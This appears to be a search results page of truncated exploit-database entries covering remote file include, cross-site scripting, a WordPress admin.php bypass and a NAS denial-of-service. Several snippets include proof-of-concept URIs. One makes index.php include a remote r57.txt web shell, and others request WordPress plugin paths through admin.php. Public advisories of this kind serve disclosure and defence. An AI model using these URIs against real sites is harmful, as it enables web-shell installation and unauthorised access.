335 matches found
Article Directory Index.PHP Remote File Include Vulnerability
No description provided by source. An attacker can exploit this issue via a browser. The following proof-of-concept URI is available: http://www.example.com/index.php?page=http://www.example2.com/r57.txt?http://www.goodayelinks.com/index.php?page=http://www.nykola.ch/Sefirotr0x/r57.txt?...
Article Directory Index.PHP Remote File Include Vulnerability
Exploit for unknown platform in category web applications ============================================================= Article Directory Index.PHP Remote File Include Vulnerability ============================================================= An attacker can exploit this issue via a browser. The...
WordPress 2.0 - 2.7.1 admin.php Module Configuration Security Bypass
Exploit for unknown platform in category web applications ================================================================================== WordPress 2.0 - 2.7.1 admin.php Module Configuration Security Bypass Vulnerability...
WordPress 2.0 2.7.1 - admin.php Module Configuration Security Bypass
WordPress 2.0 2.7.1 - admin.php Module Configuration Security Bypass An attacker can exploit this issue via a browser. The following example URIs are available: http://www.example.com/wp-admin/admin.php?page=/collapsing-archives/options.txt...
WordPress Core 2.0 < 2.7.1 - 'admin.php' Module Configuration Security Bypass
An attacker can exploit this issue via a browser. The following example URIs are available: http://www.example.com/wp-admin/admin.php?page=/collapsing-archives/options.txt http://www.example.com/wp-admin/admin.php?page=akismet/readme.txt...
Wowd - 'index.html' Multiple Cross-Site Scripting Vulnerabilities
source: https://www.securityfocus.com/bid/42327/info Wowd search client is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting use...
Researcher Publishes Valid Wildcard SSL Certificate
In the wake of Moxie Marlinspike’s SSL talk at Black Hat this summer, another security researcher has used the technique described in the talk to create and publish a valid wildcard certificate and private key that could be used to fool browsers into believing a site is legitimate when it is in...
Match Agency BiZ - 'report.php?pid' Cross-Site Scripting
source: https://www.securityfocus.com/bid/42976/info Datetopia Match Agency BiZ is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser o...
x10 MP3 Automatic Search Engine 1.6.5b - video_listing.php?key Cross-Site Scripting
x10 MP3 Automatic Search Engine 1.6.5b - videolisting.php?key Cross-Site Scripting source: https://www.securityfocus.com/bid/43336/info x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An...
HotScripts Type PHP Clone Script - index.php?msg Cross-Site Scripting
HotScripts Type PHP Clone Script - index.php?msg Cross-Site Scripting source: https://www.securityfocus.com/bid/43519/info Hotscripts Type PHP Clone Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may...
68 Classifieds 4.1 - login.php Cross-Site Scripting
68 Classifieds 4.1 - login.php Cross-Site Scripting source: https://www.securityfocus.com/bid/36208/info '68 Classifieds' is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary...
NTSOFT BBS E-Market Professional - Multiple Cross-Site Scripting Vulnerabilities (1)
NTSOFT BBS E-Market Professional - Multiple Cross-Site Scripting Vulnerabilities 1 source: https://www.securityfocus.com/bid/35893/info NTSOFT BBS E-Market Professional is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An...
Addonics NAS Adapter (bts.cgi) Remote DoS Exploit (post-auth)
Remote: Yes Local: No Credit: Mike Cyr, aka h00die Vulnerable: NASU2FW41 Loader 1.17 Not Vulnerable: Discussion: Addonics NAS Adapter Post-Auth DoS Addonics NAS Adapter is prone to several post authentication buffer overflows. Each of these buffer overflows will crash the entire TCP/IP stack and...
LinPHA 1.3.2/1.3.3 login.php XSS
LinPHA 1.3.2/1.3.3 login.php XSS. CVE-2008-6571. Webapps exploit for php platform source: http://www.securityfocus.com/bid/34500/info LinPHA is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data. Attackers can leverage these...
Achievo 1.3.2 - 'atknodetype' Cross-Site Scripting
source: https://www.securityfocus.com/bid/31326/info Achievo is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of...
Sama Educational Management System - 'error.asp' Cross-Site Scripting
source: https://www.securityfocus.com/bid/31242/info Sama Educational Management System is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data. An attacker may leverage this issue to execute arbitrary script code in the browser of an...
Yogurt Social Network 3.2 rc1 Module for XOOPS - scrapbook.php?uid Cross-Site Scripting
Yogurt Social Network 3.2 rc1 Module for XOOPS - scrapbook.php?uid Cross-Site Scripting source: https://www.securityfocus.com/bid/30618/info Yogurt Social Network is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may...
Softbiz Image Gallery - config.php?msg Cross-Site Scripting
Softbiz Image Gallery - config.php?msg Cross-Site Scripting source: https://www.securityfocus.com/bid/30546/info Softbiz Photo Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to...
Softbiz Image Gallery - 'changepassword.php?msg' Cross-Site Scripting
source: https://www.securityfocus.com/bid/30546/info Softbiz Photo Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecti...
GlassFish Application Server - resourceNodecustomResourceNew.jsf Multiple Cross-Site Scripting Vulnerabilities
GlassFish Application Server - resourceNodecustomResourceNew.jsf Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/29751/info Sun Glassfish is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data...